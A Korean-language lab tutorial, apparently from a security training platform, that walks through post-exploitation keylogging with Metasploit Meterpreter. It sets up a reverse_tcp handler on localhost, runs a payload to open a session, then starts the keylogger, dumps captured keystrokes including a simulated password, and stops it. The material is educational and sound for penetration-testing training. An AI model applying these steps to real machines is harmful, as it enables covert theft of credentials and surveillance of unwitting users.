Meterpreter 를 사용하여 타겟의 키 입력 기록

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 일반적인 후속 공격 기법인 키로깅 (keystroke logging) 을 탐구합니다. 키로깅은 키보드에서 입력된 키를 기록하는 과정으로, 일반적으로 사용자가 자신의 활동이 감시되고 있음을 인지하지 못하도록 은밀하게 수행됩니다. 침투 테스트에서 이 기법은 사용자 이름, 비밀번호 및 기타 기밀 정보와 같은 민감한 정보를 수집하는 데 매우 유용합니다.

이를 위해 Metasploit Framework 의 강력한 페이로드인 Meterpreter 를 사용할 것입니다. Meterpreter 에는 keyscan이라는 내장 모듈이 있어 공격자가 손상된 시스템에서 키로거를 쉽게 시작, 덤프 및 중지할 수 있습니다. 이 실습을 통해 Meterpreter 세션을 얻고, 키로거를 배포하고, 키 입력을 캡처한 다음, 흔적을 지우는 방법을 배우게 됩니다.

타겟에 대한 Meterpreter 세션 확보

이 단계에서는 Metasploit 에서 리스너를 설정하고 페이로드를 실행하여 Meterpreter 세션을 확보합니다. 이 실습에서는 동일한 머신에서 공격자와 타겟 역할을 모두 수행합니다. payload.elf라는 페이로드 파일이 이미 ~/project 디렉토리에 생성되어 있습니다.

먼저 Metasploit Framework 콘솔을 시작합니다.

msfconsole -q

msfconsole이 로드되면 페이로드로부터 들어오는 연결을 수신할 핸들러를 설정해야 합니다.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

이제 -j 플래그를 사용하여 리스너를 백그라운드 작업으로 실행합니다.

exploit -j

핸들러가 시작되었음을 확인할 수 있습니다.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

이제 터미널 패널의 + 아이콘을 클릭하여 새 터미널 탭을 엽니다. 이 새 탭에서 페이로드를 실행합니다.

./payload.elf

msfconsole이 있는 첫 번째 터미널 탭으로 돌아갑니다. Meterpreter 세션이 열렸음을 나타내는 메시지가 표시되어야 합니다.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400

이 새 세션과 상호 작용하려면 sessions 명령을 사용합니다.

sessions -i 1

프롬프트가 meterpreter>로 변경되어 타겟 세션을 제어하고 있음을 나타냅니다.

[*] Starting interaction with 1...

meterpreter >

keyscan_start 명령으로 키로거 시작하기

이 단계에서는 활성화된 Meterpreter 세션을 사용하여 타겟 머신에서 키로거를 시작합니다. 이를 위한 명령은 keyscan_start입니다. 이 명령은 타겟 시스템의 프로세스에 키로거를 주입하고 모든 키보드 입력을 캡처하기 시작합니다.

meterpreter> 프롬프트에 있는지 확인합니다. 다음 명령을 입력하고 Enter 키를 누릅니다.

keyscan_start

시스템에서 키로거가 시작되었음을 확인할 것입니다.

Starting the keystroke sniffer...

로거는 이제 타겟 시스템에서 백그라운드로 조용히 실행되며, 눌리는 모든 키를 기록합니다.

사용자가 정보를 입력하기를 기다리기

이 단계에서는 타겟 머신에서 사용자가 민감한 정보를 입력하는 것을 시뮬레이션합니다. 키로거가 활성화되어 있으므로 이 활동을 캡처할 것입니다.

+ 아이콘을 클릭하여 새 터미널 탭을 다시 엽니다. 이 새 터미널에서 사용자가 비밀번호를 입력하는 것을 시뮬레이션합니다. 어떤 명령이든 입력할 수 있지만, 이 예시에서는 echo를 사용하여 비밀 비밀번호를 입력하는 것을 시뮬레이션합니다.

echo "MySuperSecretPassword123"

명령을 실행한 후 이 새 터미널 탭을 닫을 수 있습니다. echo "MySuperSecretPassword123"에 대한 키 입력은 이제 실행 중인 키로거에 의해 캡처되었습니다. Meterpreter 세션이 활성화된 터미널 탭으로 돌아갑니다.

keyscan_dump 명령으로 캡처된 키 입력 가져오기

이 단계에서는 로거에 의해 캡처된 키 입력을 검색합니다. keyscan_dump 명령은 타겟 머신에서 기록된 모든 키 입력을 가져와 Meterpreter 콘솔에 표시합니다.

meterpreter> 프롬프트에서 다음 명령을 실행합니다.

keyscan_dump

로거가 시작된 이후 캡처된 모든 키 입력의 출력을 볼 수 있습니다. 여기에는 이전 단계에서 입력한 명령도 포함됩니다.

Dumping captured keystrokes...

echo "MySuperSecretPassword123"

보시다시피, 다른 터미널에서 입력한 명령이 성공적으로 캡처되었습니다. 이는 공격자가 사용자가 입력한 자격 증명, 명령 및 기타 민감한 텍스트를 어떻게 훔칠 수 있는지 보여줍니다.

keyscan_stop 로 키 입력 로거 중지

이 단계에서는 키로거를 중지합니다. 침투 테스터는 계약 후 모든 아티팩트를 제거하고 실행 중인 프로세스를 중지하여 타겟 시스템을 발견 당시 상태로 되돌리기 위해 정리하는 것이 중요합니다.

키로거를 중지하려면 Meterpreter 세션에서 keyscan_stop 명령을 사용하십시오.

keyscan_stop

시스템에서 키로거가 중지되었음을 확인할 것입니다.

Stopping the keystroke sniffer...

키로거는 더 이상 타겟 머신에서 활성화되지 않습니다. 이제 exit를 두 번 입력하여 Meterpreter 세션과 msfconsole을 안전하게 종료할 수 있습니다.

요약

이 실습에서는 Meterpreter 를 사용하여 타겟 시스템에서 키 입력 로깅을 수행하는 방법을 성공적으로 배웠습니다. 세션 확보부터 도구 정리까지 이 사후 착취 기법의 전체 수명 주기를 실습했습니다.

다음을 배웠습니다.

  • 핸들러와 페이로드를 사용하여 Meterpreter 세션 설정
  • keyscan_start 명령을 사용하여 타겟에서 키로거 시작
  • keyscan_dump를 사용하여 캡처된 키 입력을 덤프하여 민감한 정보 보기
  • keyscan_stop을 사용하여 키로거 중지 및 세션 정리

이는 시스템 보안 및 모니터링의 중요성을 강조하는 강력한 기법입니다. 이러한 기술을 책임감 있고 윤리적으로 사용하십시오. 실습 완료를 축하합니다!